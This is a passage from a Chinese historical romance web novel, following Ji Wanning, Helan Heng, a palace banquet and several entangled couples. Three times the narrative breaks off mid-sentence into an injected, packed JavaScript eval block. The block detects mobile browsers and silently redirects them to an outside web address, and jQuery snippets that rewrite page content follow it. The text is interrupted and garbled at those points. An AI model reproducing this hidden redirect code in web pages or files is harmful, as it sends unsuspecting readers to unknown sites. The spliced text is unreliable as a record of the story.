走出殿外,她看到宋聿怀在门口等她,立如芝兰玉树,笑如朗月入怀,如同一副温润的水墨画。
他向她走过来,清隽的眼眸微微上扬道:“荧荧,我送你回府吧。”
月光泠泠,铺陈在结霜的地上,贺兰珩走进公主府,与三五成群的宾客逆流而行,乐声已歇,灯火也灭了一半。
蒙昧的夜色中,季晚凝立在檐下,正和宋聿怀含笑相视,不知在说着什么,片刻后两人沿着游廊并肩而行。
贺兰珩眉眼一凝,抬步正欲上前,忽然被身后的一个声音唤住了:“谦晔!你怎么才来,我们都散席了。”
长公主站在阶上道:“我还以为你生我的气不理我了,对了,我帮你想了一个绝妙的法子。”
贺兰珩迟疑一瞬,旋身朝她走了过去。
“怪我之前有眼无珠,不知道你已经有了心上人,我连夜绞尽脑汁,上上策还是你做我的驸马,你可以把晚凝接到府上做贵妾,我绝不干涉你们,当然你也不能干涉我。”长公主神情认真道。
贺兰珩眉心微蹙:“殿下误会了,我对她无意,也不想纳她为妾。”
“难道你想娶为正妻?”长公主睁大了眼睛,“但是良贱不能通婚,这样吧,让她来做我的女官,我为她脱籍。”
“她本就是良籍,此间缘由不便与殿下道明。总之我也不会娶她。”贺兰珩的声音带着几分疏冷。
“那就难办了,若不是我从中周旋,圣人现在已经下旨给你和九公主赐婚了。”长公主无奈道,“可你若对晚凝无意,又为何这么在意她?”
贺兰珩不语。
经过这几个月,他已经确认她就是陈澍的遗孤。
尽管陈澍是罪臣,但毕竟是贺兰家的故交,他下狱后父亲也在暗中帮扶了一二,换作是贺兰淳德,如果知道了季晚凝的身份,想必也会安顿好她。
在契约的时间内,只要她不私自行事,不染指谶书案,他就会保她平安,等契约过后,她有长公主可以倚靠,足以在长安立足,到时她无论想做什么,都与他无关。
“因为她是我的人,在放契之前,殿下就别惦记了。”语气不容商榷。
长公主翻了翻眼皮:“那偶尔出来玩总可以吧,我看她闷在府里怪无趣的,我刚跟她说了,到时一起去杏园宴。”
贺兰珩没说话,拢了袍袖转过身,只见季晚凝绰立在不远处的梅枝下望着他。
梅影摇风,月光拂在她的身上,仿若一只玉人坠入了云雾氤氲的纱笼里。
因着顾忌宋熙,季晚凝不想与宋聿怀走得太近,就没让他送。与他告别之后,她发现贺兰珩来了,走近听见了刚才他与长公主的对话。
“走吧。”贺兰珩上前道。
季晚凝跟在他身后,踩着他颀长的影子,回到来鹤园。
房中的蜡烛还燃着,微弱的豆焰明灭不定。
在路上时季晚凝心下已有定夺,尽管现在不是一个好时机,但她想尽快把她的决定告诉他,不管他是否同意。
她脱下兔毛斗篷,坐到桌案前,铺开一张宣纸,敛袖研墨落笔。
东义叩门进来,说浴汤已经备好,贺兰珩颔首阖上门,走进里间,抽出发束上的金簪导扔在镜台上,这时季晚凝将写好的字条递给他。
贺兰珩接过来,上面写着:“待君成亲后我便出府,可好?若衙中有需要我相助之处,随时可寻我。”
每个字都如此刺眼。
纸张边沿微微皱起,筋骨分明的手背上细长的青色脉络清晰可见。
他立在窗前,长发如泼墨,清辉将他俊拔的身形染成了孤清的冷色,眸色深邃而幽凝。
虽然一句话也没说,空气却阴沉得仿佛能拧出水来。
见他久久沉默,季晚凝收了笔砚,缓缓走到在他面前,解了腰带,手搭在他的胸口上,拨开了襕袍。
他身上淡泊的沉香中透着一股凛若冰霜的气息,她不经意抬眸看他,烛光下眉眼轮廓深刻,深色的里衣裹着俊健的肌肉线条,宽而薄的双肩将衣料绷出两道折痕。
贺兰珩手一抬,将那张纸扔进了烛台,火舌瞬间将上面的字吞噬干净。
他垂眸,巡过她的脸,定在她略带不安的秀眸上。
“前有长公主,后有宋聿怀,你就这么迫不及待想离开?”
声音压得极低,又冷又淡,似是诘问,实是警告。
季晚凝羽睫轻轻颤了一颤,她不是想毁约,只是想避开九
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164488|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公主罢了,可九公主是他未来的妻子,让她如何说呢。
至于宋聿怀,她又没同他说什么,还刻意与他保持距离。
季晚凝轻移微步,走到净房前撩起帘子,表示她不想回复他的话。
贺兰珩漠然地移开目光,走了进去。
再走出来时,沾了水汽的脸更加白如冷玉,唇色浅淡,襟口微敞,露出两道锋利如刃的锁骨。
季晚凝拿着澡巾迎上去,他视若无睹,擦着她的肩袖掠过,不言不语地躺在床上。
床榻已经铺好,薰球也暖了被褥,季晚凝默默上前将帘帐放下来,熄了灯,回到自己的卧榻上。
贺兰珩透过薄纱帘帐看了她一眼,敛回视线,阖上了眼。
夜色虚明,雪似碎玉一般悄然飘落,浮光如银,在帘上雕镂成星星点点的斑影。
贺兰珩浅眠着,朦胧中感到身边睡了一个人,身子温温软软,呼吸轻柔地泼洒在他颈间。
他稍微一动,她便贴了过来,附在他耳边气若幽兰:“三郎,荧荧好冷,都怪你不给我被子。”
月光凉如冰凌,描摹出她凝白无瑕的脸颊,菱唇若朱樱一点,单薄的衣襟间露出一段皙润如脂的秀颈。
如月中聚雪,雪中绽梅,清极生艳。
“不是给你被子了吗,还闹。”他低声道。
她轻眨鸦羽,俏生生地回:“被子也不如你暖。”
清袅绵软的声音入耳,搅得他酥痒难耐,他心里的那根弦终于断了,臂膀一抬,把季晚凝揽进了怀里,紧紧裹住,贪恋地嗅着她鬓发的香味,五指深入她柔软的发丝里。
他英挺的鼻梁沿着她的发顶滑下来,在她额心落下了一个吻。
季晚凝枕在他的颈窝里,仰面望着他,眸里浮着碎玉般的星芒,语声幽幽:“三郎,我渴了,你倒水给我喝。”
贺兰珩用指腹抚着她的嘴唇,捏起她的下颌,俯首吻了上去,细细啄她花瓣一样的唇,滑入她口中将每一寸浸润。
他食髓知味,翻身撑在她身上,十指相扣,唇齿厮磨。
在绵长的吻中,他等待着她下一步的指示。
黑暗里,季晚凝秋波流转,推开了他,潋滟的双眸忽然黯下来:“三郎你待我一点也不好,我要去找别人了。”
他死死扣住她纤细的手腕,将双臂撑在她头顶。
“要去哪?你只能留在我身边。”他声音暗哑,眼尾泛起一抹殷红,心口如上弦的弓一样绷紧了。
“你弄疼我了……”
她含嗔带怨地瞪他一眼,他堪堪松了力道,便眼看着她的身影像烟雾一样渐渐消散,那柔软的触感从他的掌心中流逝,任他怎么紧抓都无济于事。
夜漏滴落,空灵清响。
贺兰珩忽地睁开眼,房中黢黑岑寂,身侧的床褥空无一人,冰凉如故。
沉水香消,轻暝笼寒,梨云梦已远。
他缓缓坐起身,迷乱的神思逐渐清明。
他将帘帐拨开一道缝,季晚凝正侧卧在榻上,乌发铺在线条起伏的身子上,将小脸窝在被子里,熟熟睡着。
50. 杏园宴
五更的晓钟敲响。
窗外天色灰霾,晨雾缥缈,季晚凝懒倦地睁开双眼,发现贺兰珩已经起了。
他冠发齐整地负手立在窗边,绸衣被晨风微微拂起,侧颜的轮廓清绝如雪山,眉目无情无绪,端严若神。
季晚凝揉了揉眼,起身下榻,他微微侧首,若有若无地睇了她一眼,转身往净房走。
她跟着他进了净房,仰面对上他清寒的眼眸,目光交汇的一瞬,贺兰珩错开了视线。
季晚凝拿起巾帨,沿着他的衣襟掖进去,一不小心,巾帨脱手掉在了地上。
她刚要弯腰,贺兰珩已先她一步捡了起来,道:“你出去吧。”
季晚凝看了他一眼,无端地感觉他今日有些反常。
昨日在她递了纸条之后,虽然他对她也是这般冷,带着一股乌云密布的沉郁,但今日似乎不是生气,而是一种淡泊的生疏,周身好似有一道无形的屏障将她隔开。
盥洗后,贺兰珩穿上朝服,季晚凝把他送出了来鹤园,顿感一身轻松,拎起雪媚娘的金笼去院里喂食了。
贺兰珩来到紫宸殿,朝堂上,宋熙启奏圣上将水银中毒案移交大理寺重审。
天子询问了京兆尹,京兆尹陈述了案件,吴道坤又以刑部的立场反对,天子随即将他的奏请驳回了。
如贺兰珩意料的一样,圣人拒绝了宋熙的请求。
这时宋熙暗中给他使了个眼色,想让他一起帮忙说服圣人,贺兰珩却不为所动,没理会他。
退朝后,宋熙走过他身边,深深地看了他一眼,眼神里不□□露出失望之意,却什么也没说。
贺兰珩神色如故,径自走下台阶,步出了承天门。
回到大理寺,又是一整日繁忙的公务,到了申时下值的时辰,北苍走过来道:“郎君,马车套好了。”
贺兰珩将案牍收了起来,起身刚准备出去,脑海里又不受控地掠过了昨日的梦,她在他耳边说的甜言软语却变成了那句:“待君成亲后我便走。”
他心口一紧,停下脚步,挥手让北苍自己走了,随后换了身常服,骑上马出了大理寺,往城西飞驰了去。
西市周遭的坊市聚集着许多行商,到了晚间,酒肆里绮罗笑语,异香浓郁,丝竹弦管声声不绝。
波斯圆毯上的胡姬跳着柘枝舞,翠袂红绡,纤腰上系着钿带,衣帽上的金铃随着旋转的舞姿泠泠作响。
贺兰珩找了间酒肆走进去,坐了下来。
过了夜禁的时辰,季晚凝也不见贺兰珩回来,容嫣来房里找她玩,临睡觉前才走。
一连几日,贺兰珩都不曾着家,季晚凝已经习惯了,他不在,她甚是惬意。
直到休沐这日的清早,贺兰珩回了来鹤园。
季晚凝给他更衣的时候闻见了一股陌生的香味,去年年末时也有一阵子他身上总带着陌生的香囊味,不过这次的香料闻起来比之前的要廉价不少。
季晚凝抬眼看他,他眼底一片乌青,带着淡淡的倦意,不像是留宿在后衙,倒像是章台走马去了。
他这个年纪没娶妻,血气方刚,官员应酬又多,难免把持不住。
季晚凝不由心里鄙夷,转念又想,跟她有什么关系。
贺兰珩见她一脸嫌弃的神色,掐了掐眉心,走到床边躺下来道:“给我按一下印堂。”
季晚凝抿了抿唇,走过去坐在床沿,指尖轻按在他的眉心上,轻缓晕开,双手沿着高耸的眉骨推至眉梢。
贺兰珩阖着眼,她的温度和气息环绕着他,手上的力道不轻不重,恰到好处,缓慢而温柔地拂去了他的疲惫。
季晚凝听见他的呼吸声逐渐均匀平缓,应该是睡着了,她收起双手,伏低身子贴近他轻嗅,没有丝毫的酒气。
她心想,或许他不是去勾栏瓦舍了,可神出鬼没地到底干什么去了?
……
春日悄然而至,迎来了科举放榜的日子,长公主派侍女来邀季晚凝去曲江杏园宴饮,实则是去看新科进士。
季晚凝没犹豫就跟着去了,贺兰珩近日很少回府,他不在她就不用看他的脸色行事。
到了杏园,园里曲水潺潺,垂柳刚抽出嫩芽,千条飘绿,杏子梢头初蕾新破,如胭脂浸染。
晌午后熏风骀荡,天子和郑贵妃坐在长亭里,两侧是朝中官员。
季晚凝则随长公主在侧面的厢房坐下,案上摆满了糕点小食,一边吃一边等待学子们出场。
九公主也来了,和八公主等人坐在了一旁。
门外围满了翘首张望的百姓。
“来了!来了!”围观的人群中不知是谁高呼了一声。
只见二十余名新科进士身着簇新的绯袍,帽上簪花,宝马雕鞍,意气风发地踏进了杏园,鞍辔上五彩的缨络随着马的步伐齐齐晃动。
女郎们纷纷起身探出窗牗,季晚凝也不想错过,从人缝间挤进去观看。
为首的是状元和榜眼,已经年逾三十,沉稳的气度也掩不住骄傲之色。
之后便是探花郎,二十上下,相貌堂堂,锐气的眉眼锋芒初露。
女郎们纷纷举起团扇,掩住朱唇笑嘻嘻地评头论足。片刻后见那探花郎后面跟着一平康伎,女郎们不免失望,小声道:“今年的探花郎不过如此,没什么看头,比当年贺兰大理差远了。”
长公主拂了拂宽袖,道:“当年贺兰谦晔高中是何等风光,绣鞍金络,杏园乘马探花。虽然才十六,身量已七尺有余,又无妻无妾,那时京中闺秀无不芳心暗许,折花相赠。”
说着,她别有意味地望向季晚凝。
季晚凝被她盯得一个激灵,心想长公主不会还在误会她和贺兰珩吧?贺兰珩都说了对她无意,而她自己更是无心情爱,脑子里只有翻案和复仇,哪有工夫想别的事。
女郎们无不惋惜道:“可谁不知道贺兰大理眼光甚高,回绝了多少上好的亲事,而且我听说上元节的时候,圣人要给他和公主赐婚了……”
因着那晚闹得鸡飞狗跳,女郎们在长公主面前不敢直言,便把后面的话咽了回去。
这么一提,长公主又想起贺兰珩对她以怨报德的事,嗤之以鼻道:“本主就看不惯他那副冷心冷情又倨傲自矜的样子,不像贺兰大郎,容貌虽有几分相似,但大郎性子却温纯恭顺。”
季晚凝是第一次听说贺兰大郎,长公主说起他时眼里流露出一丝罕见的柔软。
一旁的九公主近来正为婚事心神不宁,她对长公主的情绪很复杂,姑母是长辈,她不能硬来,可刚刚听姑母的意思,她心里仍装着第一任丈夫,看来她不过是把贺兰珩当成替身而已,根本不喜欢他。
于是九公主心思回转,这时候推波助澜一下,说不定姑母就放弃了。
她忙从随身的锦囊里掏出了一个粉盒,双手捧着递给长公主道:“皇姑,你搬去了公主府,可能还不知道近日宫里风行一种驻颜丹,珍贵得紧,这是我求了阿娘好久才分给我的。侄女心里惦念皇姑,不敢独享,便孝敬皇姑吧。”
长公主垂眸看了一眼,还没说话,就听八公主道:“我听说过这驻颜丹,好啊,九娘你有这好东西不先送我。”
九公主笑道:“阿姐你刚刚有孕,还是少服这些为好,等你诞下孩子后,我再求阿娘送你一盒。”
另一边一个贵女道:“我阿娘也有,听她说等了好久花了几千贯才买到的,吃了不过一个月,脸上的皱纹都淡了。”
“真有什么神奇?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164489|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你阿娘在哪买的?”
女郎们讨论得热火朝天。
长公主按了按眼角,辞让道:“我还年轻呢,如此珍贵的东西九娘自己留着用吧。”
九公主本是割爱讨好姑母的,谁想她还不要,她又把手伸了伸:“我不用,紧着皇姑。”
这时进士们入场完毕,季晚凝对她们的话题无甚兴致,倚在窗边看着外面,长公主也继续观看仪式了,九公主这才讪讪地收回手。
靳然是最后一个垫底的,他眼里没多少喜色,若不是倚仗父亲,他可能连官都没得做。这倒是次要的,姚絮的名次比他靠前十几名,他颇感脸上无光。
天子和考官、宰相恭贺了进士们之后,选了薛探花和姚絮两个相貌俊秀的去折花。
郑贵妃此次来杏园宴主要是为了给九公主选驸马,圣人迟迟不下旨,她不打算在一棵树上吊死。
薛探花尚未娶妻,一表人才,又出自世家大族,郑贵妃对他很满意。
季晚凝将注意力转移放在了下首的朝臣们身上。
离天子最近的那个胡须很长,举止棣棣,沉默寡言却顾盼有威,应该是朝中地位最高的,可能就是郑彦元了。
他旁边坐着一个面容清癯,眉毛像扫帚的大臣正啜着茶,时不时撩起眼往天子那边扫,形容猥琐。
他侧边的则是一个宽脸官员,天庭饱满,鼻若悬胆。
季晚凝面上不显,一颗心却砰砰直跳,手心却微微沁汗,这两人就是宋熙和吴道坤。
让她意外的是,近十一年过去了,吴道坤的面容看起来只不过长了几岁而已,精神矍铄,相比之下宋熙就沧桑了许多。
过了片刻,宋熙放下茶瓯,用手扶着腰,似乎有些费力地撑起身子来往外走去。
季晚凝趁着没人注意,溜出了厢房,执扇半遮住脸,悄悄跟在他身后三丈之遥,尾随他来到了花园里。
只见他四下张望,随即目光定在了一个青年身上,疾走几步,来到那人跟前。
季晚凝跟了过去,藏身在树后,那青年正是宋聿怀。
“你怎么躲到这儿来了?今日来了那么多贵女,可有相中的?”宋熙道。
“她们是来看新科进士的,跟我有何关系。”宋聿怀把头撇到一侧,语气冷淡。
“你这是什么态度?”宋熙皱眉,“你已经十九了,今年必须把婚事定下来!”
宋聿怀道:“阿姐二十才成亲,儿还早。”
“你姐要等东宫选秀,是以我让她待嫁到二十,你又不需要!”宋熙疾言厉色道。
宋聿怀默然以对,暗暗攥了攥双拳。
“你若没有相中的,那就为父来定吧,父母之命,媒妁之言。”宋熙一甩袍袖,旋身往回走。
季晚凝见他朝着自己的方向过来了,马上佯装赏花,一路沿着杏树林往湖边走了去。
宋聿怀喉结滑动,对着宋熙的背影道:“儿确有倾意之人。”
宋熙回头,脸上终于露出了笑意,问:“谁家的女郎?”
宋聿怀语气缓和了些许:“只是她身份低微,还望父亲成全。”
宋熙脸色一沉:“不成!你若心悦,就等娶了正妻后纳为妾室。”
“阿耶若不同意,那儿就不娶。”宋聿怀神情坚定。
“你敢!你这是不孝!”
宋聿怀清眸半垂,唇角浮起一丝冷然的苦笑,声音低沉:“若不是因为你,儿现在已经娶了她。”
若不是因为自己的父亲背友求荣,揭发陈澍,荧荧也不会沦落至此。
“你说什么?!”宋熙没听懂他暗藏的意思,只当他又犯浑,怒不可遏地扬手要打。
宋聿怀拂袖转身,抬步往杏林走去了。
51. 重逢
季晚凝在湖畔踱着步,思忖先前宋聿怀应该没骗她,他们父子关系看起来的确不好,宋含芷也一样被宋熙操控,成为他争权夺利的工具。
她折了根柳枝,坐在湖边轻拂碧水,涟漪舒缓地顺流荡开,直至归于平静,她一遍遍地试图将波纹拨得更远。
水纹在快消失的时候,从她的下游伸过来了一支柳条,顺着她拂出来水痕一拨,延续到更远。
季晚凝侧头,见宋聿怀坐在她不远处的石头上,手里拿着柳枝,冲她会心轻笑,季晚凝微微颔首作为回应。
宋聿怀起身走了过来,望着水面道:“我还记得你儿时总在陈府的池畔写生,那时你才六七岁,书画的笔风脱离了稚气,颇为成熟,总被母亲拿去让阿姐临摹。”
过去无忧无虑的生活已经离她很遥远了,若家里未遭变故,或许现在她每日仍在作画挥墨吧。
宋聿怀坐在她身边道:“荧荧,你在贺兰府为婢是自愿的吗?你若是不愿,便同我讲,我赎你出来,不要你的身契,你自己处置就好。”
季晚凝没有卖身契,不过关乎她和贺兰珩的秘密契约,不能告诉他。
她点了下头,表示是自愿的,她虽想离府,但不想借助于宋聿怀。
“你理应有更自由广阔的天空。”
宋聿怀望着她澄澈的眸子,想起她纵马射箭的样子,是与她儿时不同的另一面,不论是哪副样子,他都不忍看见她在别人面前伏低做小。
季晚凝从算袋里取出笔砚,写道:“多谢君关心,我还有一年半就自由了。”
宋聿怀垂下眼睫,掩去眸中的情绪。
一年半,有点长。
他浅浅一笑,一如既往的温润道:“贺兰卿今日没来吗?”
季晚凝摇了摇头。
宋聿怀状若无意道:“毕竟大理卿公务繁忙,前阵子我在宋府还遇见他了,他近来似乎与父亲常有往来。”
季晚凝抬眸,碧漪漪的池水映在她双瞳中泛起波澜。
贺兰珩何时与宋熙来往密切了?虽是同朝为官,但并非有公务上的往来的话,同僚间的远近亲疏通常代表着亲友关系或是立场。
他跟她的仇人走得如此近,又看她看得紧,不许她离府,兴许在她看不见的地方,他和宋熙正暗中合谋利用她对付谶书主谋。
这些时日看在贺兰珩对她还不错,她的警惕心都渐渐消磨了。
可她只是个婢女,有什么立场质问贺兰珩,又有什么立场阻拦他和别人交往。她和他不过是一场交易,她于他有可用之处而已,不代表他站在了她这边。
季晚凝站起身,拂了拂裙摆,出来的时间不短了,该回去找长公主了,于是她向宋聿怀告辞。
宋聿怀目送她走出杏林,清隽的眼尾微挑,嘴角勾起一抹淡淡的弧度,春光轻柔地笼在他俊若修竹的身上,相得益彰。
进士们从大雁塔题名归来,一边赏花交谈一边等待申时用晚宴。
季晚凝往杏园里走,不经意地在门口看见了一个熟悉的身影,袅袅婷婷,纤腰束素,正探头往园子里张望。
季晚凝杏眸一弯,急急跑上前去拍了她一下。
林夙之回过头,又惊又喜道:“晚凝!你怎么也在这儿?”
季晚凝拉她到凉亭里坐下来,铺纸研墨写道:“你近来可好?今日可是同靳然一道来的?”
林夙之摇头:“我早就没跟他在一起了,不知他怎么发现了我的身份,把我赶出府,后来我在怀贞坊赁了个小院,倒也过得去。”
季晚凝拉着她的手,没想到短短几个月她经历了这么多,不过也好,待在靳然身边总归不踏实,不如自力更生的好。
她又写道:“你今日怎么来了?”
林夙之略显局促地抿着唇,低下头。
放榜那日她得知姚絮金榜题名,便鬼使神差地想来看他一眼。
方才远远见姚絮骑马进了杏园,心里为他高兴却又难免失落,她甚至不能正大光明地出现在他面前。
季晚凝见她面染郁色,便岔开话题:“夙语琴士是不是你的笔名?”
林夙之笑着羞赧地点了点头:“你不愧是我的知音,一下就被你看出来了。”
她从靳府出来之后,恢复了良籍,靠写话本能够维持生计,不用再以色侍人。
季晚凝写道:“话本写得十分精彩,读得我潸然泪下。”
“别说了。”林夙之无地自容,轻轻掐了一下季晚凝的腰,她写完后自己都不忍再读。
“你还住在大理寺后衙吗?我不敢去找你,你现在能出来了?”
季晚凝写道:“我现在住在贺兰府里,偶尔能同长公主一起出来。”
“你攀上长公主啦?”林夙之张圆了嘴巴,“我早就知道你不是池中之物!”
季晚凝想着把她引荐给长公主,这样以后她们来往就可以绕过贺兰珩,方便多了,于是拉起她一同往园子里走。
林夙之正说笑着,无意间往杏林里望了一眼,顿住脚步,道:“晚凝,我突然想起来我还有事得先走了,你有空上怀贞坊二曲找我。”
见她神色焦急,季晚凝点了点头,与她告别,转身时不慎撞到了一个仆从打扮的人,那仆从连连躬身道歉,季晚凝没放在心上,走进了杏园。
长公主冲她招手:“晚凝,快过来!尝尝本主带来的葡萄酒。”
季晚凝坐下来,侍女给她斟了满满一盏,她没喝过葡萄酒,微抿了一口,酸酸甜甜的,酒味不浓,更像是果浆。
于是她和众人一齐举杯,一饮而尽。
林夙之走进杏林,垂柳堤岸边,姚絮牵着一个女郎,女郎低头含笑,不知说了什么,女郎娇俏地拍打了他一下。
林夙之认出那女郎是吴道坤的女儿吴六娘。
她还在姚府时,姚母就想高攀吴家,常邀吴六娘来府上做客,后来终于到了谈婚论嫁那一步。
姚絮曾拉着林夙之的手起誓,说绝不会娶她仇人的女儿,也不会为了仕途攀附吴家。
林夙之看着两人在树下打情骂俏,心中翻江倒海,锥心地痛。
姚絮若有所觉地将目光向这边转来,脸上的笑意一凝,与吴六娘低语了几句,朝着林夙之走过来。
林夙之的腿像灌了铅一样杵在原地,看着他走来,帽上簪着花,意气风发。
“夙之,你怎么在这儿?你不是嫁人了吗?”姚絮诧异道。
林夙之一怔:“谁跟你说我嫁人了?”
“阿娘告诉我你出府嫁人了,我这才死心,同意了和吴家的婚事。”姚絮道。
明明是姚母把她卖到了青楼,但林夙之纠结了一番后不打算告诉他了,覆水难收,即便告诉他又能如何?
“你答应过我不娶吴家人。”林夙之眸光不住地颤动。
“夙之,我食言了。阿耶在朝中依附吴尚书,吴尚书肯将女儿嫁进姚家,阿耶岂能错过这门婚事。”姚絮眸光微垂,“何
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164490|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
况六娘心悦于我,我不忍辜负她一片心意。”
林夙之双手紧紧扯着绣帕,强忍着哽咽道:“我懂了,不打扰你二人了。”
这时吴六娘走上前,对林夙之道:“你已嫁,他已娶,你就别腆着脸纠缠他了。”
林夙之自知理亏,垂下头拔腿就走。
“你别走,我倒要问问你,你今日来是不是为了私会七郎?”吴六娘咄咄逼人道,“尽管你儿时与七郎订过亲,如今你是罪臣之女,奉劝你离他远点,免得耽误他的仕途。”
姚絮轻轻扯了扯她的袖子,小声道:“六娘,算了。”
林夙之转身道:“吴娘子放心,将来我不会再纠缠他了。”
“你既然嫁人了,怎么一个人跑出来?你家里的穷汉养不起你了?”吴六娘步步逼近,走到林夙之面前。
林夙之咬住唇:“对不住,我这就回家。”
见她单薄纤弱的身子转了过去,姚絮止不住地心疼,低声唤道:“夙之……”
忽然,一个高大的身影阔步冲上前来,一拳挥向了姚絮,姚絮直直跌倒在地上,半张脸瞬时红肿起来。
他捂着脸抬头看去,讶然道:“靳兄,你这是做什么?”
吴六娘见状,顾不上林夙之了,连忙扑到姚絮身上查看他的伤势。
靳然一把揽住林夙之的肩头,俯晲着二人道:“本公子方才琐事缠身,让我家娘子自行来赏花,不想触了霉头,本公子这就带她回家。”
“怎么是你,难道她嫁的人就是你?”吴六娘张口结舌。
“你以为呢?”靳然紧紧攥住林夙之的手。
林夙之满面绯红,掐了下他的手心,他却死死不放。
“你刚才说谁是霉头?别忘了要不是我阿耶,你们靳家哪有今日,忘恩负义!”吴六娘怒视着他,“旁人怕你我可不怕,你竟敢打二甲进士,明日我就让阿耶弹劾你,看你还有没有官做!”
“那你大可试试。”靳然嘴角一挑,“你敢再刁难我娘子一次,本公子就打他一次,劳烦吴娘子看好你家郎君。”
姚絮颤颤巍巍地坐起身来,安抚吴六娘:“算了,此事本是我的错。”
“算了什么算了,我定要让他滚出长安,永远回不来!”吴六娘咬着银牙道。
靳然置若罔闻,拖着林夙之的手往杏林深处走远了。
暮色渐浓,滚滚如墨蚕食着天际,暗红的夕阳铺淌在曲水中。
林夙之甩开他,道:“多谢靳四郎相助,我该走了。”
靳然上前,宽阔的影子将她整个人笼住。
“走哪去?跟我回家。”
林夙之垂眸,往后撤了一步,提醒他道:“靳四郎难道忘了吗,我是你仇人的女儿。”
靳然勾起嘴角:“你父亲的事跟你无关,况且他人已经不在了,你又孑然一身,给我做个妾室没什么大不了。”
这段日子里他久久寻不见她的人,摧心剖肝一样,他想通了,决定退让一步。
林夙之蛾眉低蹙:“我不是你招之即来挥之即去的。”
“以后不会了。”靳然喉结攒动,声音低柔。
林夙之退到墙角里,断然道:“我已恢复良籍,不愿做妾……”
靳然忽然勾过她的腰肢,将她圈禁怀里,攫取似的吻堵住了她的唇。
随即他舌尖一痛,殷红的血顺着唇角淌了出来。他舔舔嘴角,复又低下头,缠着她,辗转在血腥气与香甜之间。
52. 醉酒
贺兰珩今日下值后没去城西,回到府里发现季晚凝又不在,小阮说长公主派车来接她一起去杏园宴了。
用过晡食后,他坐在书房里整理着近日的卷宗,时不时抬起头来看一眼刻漏。
暮色四合,窗外天色越来越暗,直至变成昏沉的蓝黑色。
窗边挂着那盏上元节摘得的兔子灯,暖黄的光晕在屋内烘染开来,照着一方檀案。
早春的凉风从窗隙溜进屋,吹得兔子直打晃,哒哒地撞在窗棂上。
贺兰珩将狼毫搁在青玉笔架上,走过去把兔子灯摘了下来,放在桌案上,拾起狼毫蘸了蘸墨,已经有些干涸了。
他掀眸又瞥了眼刻漏,已经宵禁了,季晚凝还没回来。
过了须臾,东义轻手轻脚进来道:“郎君,长公主的人送晚凝回来了。”
贺兰珩屈指轻扣案沿:“让她来书房。”
“她……她好像走不了路了……”东义支支吾吾道。
贺兰珩抬眸,立即起身纵步走出书房,踏上了月桥。
来鹤园外,一顶软轿落在门口,轿边站着几个九公主的侍女,低首侧立。
贺兰珩压着眉峰,薄唇抿成了一线,上前道:“她怎么了?”
为首的侍女见他一副兴师问罪的架势,忙道:“贺兰大理别急,晚凝不过是多喝了几杯葡萄酒,这酒虽喝着像果浆,但却醉人。”
贺兰珩心头稍舒,撩起帘子,只见季晚凝歪在轿里昏睡了过去,一股酒香熏熏然扑面而来。
他长眉一蹙,冷声道:“以后看住她,别再让她喝这么多了。”
侍女愧疚地垂下头,嗫喏道:“奴婢这就把她扶回房。”
贺兰珩不语,俯下身揽过季晚凝的腰身,将她打横抱了出来,径直走向寝室。
侍女们面面相觑,低下头装作没看见,匆匆抬轿打道回府。
贺兰珩用靴尖抵开房门,把季晚凝抱到卧榻上,一缕碎发落在她脸侧,欺霜赛雪的双颊泛着红晕,如海棠春睡。
他将她的斗篷解开脱了下来,里面一袭浅绛纱长裙裹着纤秾合度的身子,裙下是低弧领的衫子,露出一片腻玉般的肌肤。
他把她放平,正欲起身离开,季晚凝眉黛一敛,难受地哼了一声,两条雪藕似的手臂抬了起来,绵软地攀上了他的脖颈。
贺兰珩被她一勾,倾身坐在了榻沿上,双手撑在她两侧,一团玉软花柔贴上了他坚硬的胸膛。
一股酥麻感在他的肌理下躁动不安地游走,他扣住她不盈一握的腰,要把她从身上扯下来。
忽然她嘴唇蠕动,在他耳畔轻轻吐出两个字:“我渴。”
她的头偎在他身上,灼热的呼吸喷洒在他两条锁骨之间。
与梦中的那一幕是如此相似。
贺兰珩扣在她腰上的手收紧,眼睑半垂,她唇畔沾着残酒,水光潋滟,好似刚洗过的樱桃一样诱人。
他抬手用指腹抚去她唇角的水珠,一双唇瓣触上去比梦里的还要柔软细腻,他沉凝的面容下,心已绷在了弦上。
贺兰珩缓缓收回手,五指攥拢,喉结上下滚动,声音低抑:“我去给你倒茶。”
季晚凝阖着双眸,羽睫扑簌,轻点了下头。
他的动作一滞,这是第一次她在梦呓时能听见他的声音,甚至还回应了,说明她并没有睡着。
贺兰珩挽住她的膝窝把她抱起来,走到案几边,弯腰拿起了茶壶。
这时,季晚凝将醉眼掀开了一条缝,眸中汪着雾气缭绕的水光,觑着他。
